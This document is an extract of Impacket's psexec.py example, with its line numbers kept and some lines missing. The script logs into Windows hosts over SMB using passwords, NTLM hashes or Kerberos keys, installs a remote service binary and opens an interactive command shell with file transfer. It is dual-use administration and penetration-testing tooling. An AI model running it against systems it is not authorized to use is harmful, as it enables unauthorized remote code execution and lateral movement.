| # 8 | # PSEXEC like functionality example using RemComSvc (https://github.com/kavika13/RemCom) 9 | # 10 | # Author: 11 | # beto (@agsolino) 12 | # 13 | # Reference for: 14 | # DCE/RPC and SMB. 15 | 16 | import sys 17 | import os 18 | import cmd 19 | import logging 20 | from threading import Thread, Lock 21 | import argparse 22 | import random 23 | import string 24 | import time 25 | from six import PY3 26 | 27 | from impacket.examples import logger 28 | from impacket import version, smb 29 | from impacket.smbconnection import SMBConnection 30 | from impacket.dcerpc.v5 import transport 31 | from impacket.structure import Structure 32 | from impacket.examples import remcomsvc, serviceinstall 33 | from impacket.krb5.keytab import Keytab 34 | 35 | 36 | class RemComMessage(Structure): 37 | structure = ( 38 | ('Command','4096s=""'), 39 | ('WorkingDir','260s=""'), 40 | ('Priority',' 0: 100 | try: 101 | s.waitNamedPipe(tid,pipe) 102 | pipeReady = True 103 | except: 104 | tries -= 1 105 | time.sleep(2) 106 | pass 107 | 108 | if tries == 0: 109 | raise Exception('Pipe not ready, aborting') 110 | 111 | fid = s.openFile(tid,pipe,accessMask, creationOption = 0x40, fileAttributes = 0x80) 112 | 113 | return fid 114 | 115 | def doStuff(self, rpctransport): 116 | 117 | dce = rpctransport.get_dce_rpc() 118 | try: 119 | dce.connect() 120 | except Exception as e: 121 | if logging.getLogger().level == logging.DEBUG: 122 | import traceback 123 | traceback.print_exc() 124 | logging.critical(str(e)) 125 | sys.exit(1) 126 | 127 | global dialect 128 | dialect = rpctransport.get_smb_connection().getDialect() 129 | 130 | try: 131 | unInstalled = False 132 | s = rpctransport.get_smb_connection() 133 | 134 | # We don't wanna deal with timeouts from now on. 135 | s.setTimeout(100000) 136 | if self.__exeFile is None: 137 | installService = serviceinstall.ServiceInstall(rpctransport.get_smb_connection(), remcomsvc.RemComSvc(), self.__serviceName, self.__remoteBinaryName) 138 | else: 139 | try: 140 | f = open(self.__exeFile, 'rb') 141 | except Exception as e: 142 | logging.critical(str(e)) 143 | sys.exit(1) 144 | installService = serviceinstall.ServiceInstall(rpctransport.get_smb_connection(), f) 145 | 146 | if installService.install() is False: 147 | return 148 | 149 | if self.__exeFile is not None: 150 | f.close() 151 | 152 | # Check if we need to copy a file for execution 153 | if self.__copyFile is not None: 154 | installService.copy_file(self.__copyFile, installService.getShare(), os.path.basename(self.__copyFile)) 155 | # And we change the command to be executed to this filename 156 | self.__command = os.path.basename(self.__copyFile) + ' ' + self.__command 157 | 158 | tid = s.connectTree('IPC$') 159 | fid_main = self.openPipe(s,tid,r'\RemCom_communicaton',0x12019f) 160 | 161 | packet = RemComMessage() 162 | pid = os.getpid() 163 | 164 | packet['Machine'] = ''.join([random.choice(string.ascii_letters) for _ in range(4)]) 165 | if self.__path is not None: 166 | packet['WorkingDir'] = self.__path 167 | packet['Command'] = self.__command 168 | packet['ProcessID'] = pid 169 | 170 | s.writeNamedPipe(tid, fid_main, packet.getData()) 171 | 172 | # Here we'll store the command we type so we don't print it back ;) 173 | # ( I know.. globals are nasty :P ) 174 | global LastDataSent 175 | LastDataSent = '' 176 | 177 | # Create the pipes threads 178 | stdin_pipe = RemoteStdInPipe(rpctransport, 179 | r'\%s%s%d' % (RemComSTDIN, packet['Machine'], packet['ProcessID']), 180 | smb.FILE_WRITE_DATA | smb.FILE_APPEND_DATA, installService.getShare()) 181 | stdin_pipe.start() 182 | stdout_pipe = RemoteStdOutPipe(rpctransport, 183 | r'\%s%s%d' % (RemComSTDOUT, packet['Machine'], packet['ProcessID']), 184 | smb.FILE_READ_DATA) 185 | stdout_pipe.start() 186 | stderr_pipe = RemoteStdErrPipe(rpctransport, 187 | r'\%s%s%d' % (RemComSTDERR, packet['Machine'], packet['ProcessID']), 188 | smb.FILE_READ_DATA) 189 | stderr_pipe.start() 190 | 191 | # And we stay here till the end 192 | ans = s.readNamedPipe(tid,fid_main,8) 193 | 194 | if len(ans): 195 | retCode = RemComResponse(ans) 196 | logging.info("Process %s finished with ErrorCode: %d, ReturnCode: %d" % ( 197 | self.__command, retCode['ErrorCode'], retCode['ReturnCode'])) 198 | installService.uninstall() 199 | if self.__copyFile is not None: 200 | # We copied a file for execution, let's remove it 201 | s.deleteFile(installService.getShare(), os.path.basename(self.__copyFile)) 202 | unInstalled = True 203 | sys.exit(retCode['ErrorCode']) 204 | 205 | except SystemExit: 206 | raise 207 | except Exception as e: 208 | if logging.getLogger().level == logging.DEBUG: 209 | import traceback 210 | traceback.print_exc() 211 | logging.debug(str(e)) 212 | if unInstalled is False: 213 | installService.uninstall() 214 | if self.__copyFile is not None: 215 | s.deleteFile(installService.getShare(), os.path.basename(self.__copyFile)) 216 | sys.stdout.flush() 217 | sys.exit(1) 218 | 219 | class Pipes(Thread): 220 | def __init__(self, transport, pipe, permissions, share=None): 221 | Thread.__init__(self) 222 | self.server = 0 223 | self.transport = transport 224 | self.credentials = transport.get_credentials() 225 | self.tid = 0 226 | self.fid = 0 227 | self.share = share 228 | self.port = transport.get_dport() 229 | self.pipe = pipe 230 | self.permissions = permissions 231 | self.daemon = True 232 | 233 | def connectPipe(self): 234 | try: 235 | lock.acquire() 236 | global dialect 237 | #self.server = SMBConnection('*SMBSERVER', self.transport.get_smb_connection().getRemoteHost(), sess_port = self.port, preferredDialect = SMB_DIALECT) 238 | self.server = SMBConnection(self.transport.get_smb_connection().getRemoteName(), self.transport.get_smb_connection().getRemoteHost(), 239 | sess_port=self.port, preferredDialect=dialect) 240 | user, passwd, domain, lm, nt, aesKey, TGT, TGS = self.credentials 241 | if self.transport.get_kerberos() is True: 242 | self.server.kerberosLogin(user, passwd, domain, lm, nt, aesKey, kdcHost=self.transport.get_kdcHost(), TGT=TGT, TGS=TGS) 243 | else: 244 | self.server.login(user, passwd, domain, lm, nt) 245 | lock.release() 246 | self.tid = self.server.connectTree('IPC$') 247 | 248 | self.server.waitNamedPipe(self.tid, self.pipe) 249 | self.fid = self.server.openFile(self.tid,self.pipe,self.permissions, creationOption = 0x40, fileAttributes = 0x80) 250 | self.server.setTimeout(1000000) 251 | except: 252 | if logging.getLogger().level == logging.DEBUG: 253 | import traceback 254 | traceback.print_exc() 255 | logging.error("Something wen't wrong connecting the pipes(%s), try again" % self.__class__) 256 | 257 | 258 | class RemoteStdOutPipe(Pipes): 259 | def __init__(self, transport, pipe, permisssions): 260 | Pipes.__init__(self, transport, pipe, permisssions) 261 | 262 | def run(self): 263 | self.connectPipe() 264 | while True: 265 | try: 266 | ans = self.server.readFile(self.tid,self.fid, 0, 1024) 267 | except: 268 | pass 269 | else: 270 | try: 271 | global LastDataSent 272 | if ans != LastDataSent: 273 | sys.stdout.write(ans.decode('cp437')) 274 | sys.stdout.flush() 275 | else: 276 | # Don't echo what I sent, and clear it up 277 | LastDataSent = '' 278 | # Just in case this got out of sync, i'm cleaning it up if there are more than 10 chars, 279 | # it will give false positives tho.. we should find a better way to handle this. 280 | if LastDataSent > 10: 281 | LastDataSent = '' 282 | except: 283 | pass 284 | 285 | class RemoteStdErrPipe(Pipes): 286 | def __init__(self, transport, pipe, permisssions): 287 | Pipes.__init__(self, transport, pipe, permisssions) 288 | 289 | def run(self): 290 | self.connectPipe() 291 | while True: 292 | try: 293 | ans = self.server.readFile(self.tid,self.fid, 0, 1024) 294 | except: 295 | pass 296 | else: 297 | try: 298 | sys.stderr.write(str(ans)) 299 | sys.stderr.flush() 300 | except: 301 | pass 302 | 303 | class RemoteShell(cmd.Cmd): 304 | def __init__(self, server, port, credentials, tid, fid, share, transport): 305 | cmd.Cmd.__init__(self, False) 306 | self.prompt = '\x08' 307 | self.server = server 308 | self.transferClient = None 309 | self.tid = tid 310 | self.fid = fid 311 | self.credentials = credentials 312 | self.share = share 313 | self.port = port 314 | self.transport = transport 315 | self.intro = '[!] Press help for extra shell commands' 316 | 317 | def connect_transferClient(self): 318 | #self.transferClient = SMBConnection('*SMBSERVER', self.server.getRemoteHost(), sess_port = self.port, preferredDialect = SMB_DIALECT) 319 | self.transferClient = SMBConnection('*SMBSERVER', self.server.getRemoteHost(), sess_port=self.port, 320 | preferredDialect=dialect) 321 | user, passwd, domain, lm, nt, aesKey, TGT, TGS = self.credentials 322 | if self.transport.get_kerberos() is True: 323 | self.transferClient.kerberosLogin(user, passwd, domain, lm, nt, aesKey, 324 | kdcHost=self.transport.get_kdcHost(), TGT=TGT, TGS=TGS) 325 | else: 326 | self.transferClient.login(user, passwd, domain, lm, nt) 327 | 328 | def do_help(self, line): 329 | print(""" 330 | lcd {path} - changes the current local directory to {path} 331 | exit - terminates the server process (and this session) 332 | put {src_file, dst_path} - uploads a local file to the dst_path RELATIVE to the connected share (%s) 333 | get {file} - downloads pathname RELATIVE to the connected share (%s) to the current local dir 334 | ! {cmd} - executes a local shell cmd 335 | """ % (self.share, self.share)) 336 | self.send_data('\r\n', False) 337 | 338 | def do_shell(self, s): 339 | os.system(s) 340 | self.send_data('\r\n') 341 | 342 | def do_get(self, src_path): 343 | try: 344 | if self.transferClient is None: 345 | self.connect_transferClient() 346 | 347 | import ntpath 348 | filename = ntpath.basename(src_path) 349 | fh = open(filename,'wb') 350 | logging.info("Downloading %s\\%s" % (self.share, src_path)) 351 | self.transferClient.getFile(self.share, src_path, fh.write) 352 | fh.close() 353 | except Exception as e: 354 | logging.critical(str(e)) 355 | pass 356 | 357 | self.send_data('\r\n') 358 | 359 | def do_put(self, s): 360 | try: 361 | if self.transferClient is None: 362 | self.connect_transferClient() 363 | params = s.split(' ') 364 | if len(params) > 1: 365 | src_path = params[0] 366 | dst_path = params[1] 367 | elif len(params) == 1: 368 | src_path = params[0] 369 | dst_path = '/' 370 | 371 | src_file = os.path.basename(src_path) 372 | fh = open(src_path, 'rb') 373 | f = dst_path + '/' + src_file 374 | pathname = f.replace('/','\\') 375 | logging.info("Uploading %s to %s\\%s" % (src_file, self.share, dst_path)) 376 | if PY3: 377 | self.transferClient.putFile(self.share, pathname, fh.read) 378 | else: 379 | self.transferClient.putFile(self.share, pathname.decode(sys.stdin.encoding), fh.read) 380 | fh.close() 381 | except Exception as e: 382 | logging.error(str(e)) 383 | pass 384 | 385 | self.send_data('\r\n') 386 | 387 | def do_lcd(self, s): 388 | if s == '': 389 | print(os.getcwd()) 390 | else: 391 | os.chdir(s) 392 | self.send_data('\r\n') 393 | 394 | def emptyline(self): 395 | self.send_data('\r\n') 396 | return 397 | 398 | def default(self, line): 399 | if PY3: 400 | self.send_data(line.encode('cp437')+b'\r\n') 401 | else: 402 | self.send_data(line.decode(sys.stdin.encoding).encode('cp437')+'\r\n') 403 | 404 | def send_data(self, data, hideOutput = True): 405 | if hideOutput is True: 406 | global LastDataSent 407 | LastDataSent = data 408 | else: 409 | LastDataSent = '' 410 | self.server.writeFile(self.tid, self.fid, data) 411 | 412 | class RemoteStdInPipe(Pipes): 413 | def __init__(self, transport, pipe, permisssions, share=None): 414 | self.shell = None 415 | Pipes.__init__(self, transport, pipe, permisssions, share) 416 | 417 | def run(self): 418 | self.connectPipe() 419 | self.shell = RemoteShell(self.server, self.port, self.credentials, self.tid, self.fid, self.share, self.transport) 420 | self.shell.cmdloop() 421 | 422 | # Process command-line arguments. 423 | if __name__ == '__main__': 424 | print(version.BANNER) 425 | 426 | parser = argparse.ArgumentParser(add_help = True, description = "PSEXEC like functionality example using RemComSvc.") 427 | 428 | parser.add_argument('target', action='store', help='[[domain/]username[:password]@]') 429 | parser.add_argument('command', nargs='*', default = ' ', help='command (or arguments if -c is used) to execute at ' 430 | 'the target (w/o path) - (default:cmd.exe)') 431 | parser.add_argument('-c', action='store',metavar = "pathname", help='copy the filename for later execution, ' 432 | 'arguments are passed in the command option') 433 | parser.add_argument('-path', action='store', help='path of the command to execute') 434 | parser.add_argument('-file', action='store', help="alternative RemCom binary (be sure it doesn't require CRT)") 435 | parser.add_argument('-ts', action='store_true', help='adds timestamp to every logging output') 436 | parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON') 437 | 438 | group = parser.add_argument_group('authentication') 439 | 440 | group.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH') 441 | group.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)') 442 | group.add_argument('-k', action="store_true", help='Use Kerberos authentication. Grabs credentials from ccache file ' 443 | '(KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the ' 444 | 'ones specified in the command line') 445 | group.add_argument('-aesKey', action="store", metavar = "hex key", help='AES key to use for Kerberos Authentication ' 446 | '(128 or 256 bits)') 447 | group.add_argument('-keytab', action="store", help='Read keys for SPN from keytab file') 448 | 449 | group = parser.add_argument_group('connection') 450 | 451 | group.add_argument('-dc-ip', action='store', metavar="ip address", 452 | help='IP Address of the domain controller. If omitted it will use the domain part (FQDN) specified in ' 453 | 'the target parameter') 454 | group.add_argument('-target-ip', action='store', metavar="ip address", 455 | help='IP Address of the target machine. If omitted it will use whatever was specified as target. ' 456 | 'This is useful when target is the NetBIOS name and you cannot resolve it') 457 | group.add_argument('-port', choices=['139', '445'], nargs='?', default='445', metavar="destination port", 458 | help='Destination port to connect to SMB Server') 459 | group.add_argument('-service-name', action='store', metavar="service_name", default = '', help='The name of the service' 460 | ' used to trigger the payload') 461 | group.add_argument('-remote-binary-name', action='store', metavar="remote_binary_name", default = None, help='This will ' 462 | 'be the name of the executable uploaded on the target') 463 | 464 | if len(sys.argv)==1: 465 | parser.print_help() 466 | sys.exit(1) 467 | 468 | options = parser.parse_args() 469 | 470 | # Init the example's logger theme 471 | logger.init(options.ts) 472 | 473 | if options.debug is True: 474 | logging.getLogger().setLevel(logging.DEBUG) 475 | # Print the Library's installation path 476 | logging.debug(version.getInstallationPath()) 477 | else: 478 | logging.getLogger().setLevel(logging.INFO) 479 | 480 | import re 481 | 482 | domain, username, password, remoteName = re.compile('(?:(?:([^/@:]*)/)?([^@:]*)(?::([^@]*))?@)?(.*)').match( 483 | options.target).groups('') 484 | 485 | #In case the password contains '@' 486 | if '@' in remoteName: 487 | password = password + '@' + remoteName.rpartition('@')[0] 488 | remoteName = remoteName.rpartition('@')[2] 489 | 490 | if domain is None: 491 | domain = '' 492 | 493 | if options.keytab is not None: 494 | Keytab.loadKeysFromKeytab (options.keytab, username, domain, options) 495 | options.k = True 496 | 497 | if options.target_ip is None: 498 | options.target_ip = remoteName 499 | 500 | if password == '' and username != '' and options.hashes is None and options.no_pass is False and options.aesKey is None: 501 | from getpass import getpass 502 | password = getpass("Password:") 503 | 504 | if options.aesKey is not None: 505 | options.k = True 506 | 507 | command = ' '.join(options.command) 508 | if command == ' ': 509 | command = 'cmd.exe' 510 | 511 | executer = PSEXEC(command, options.path, options.file, options.c, int(options.port), username, password, domain, options.hashes, 512 | options.aesKey, options.k, options.dc_ip, options.service_name, options.remote_binary_name) 513 | executer.run(remoteName, options.target_ip) 514 | --------------------------------------------------------------------------------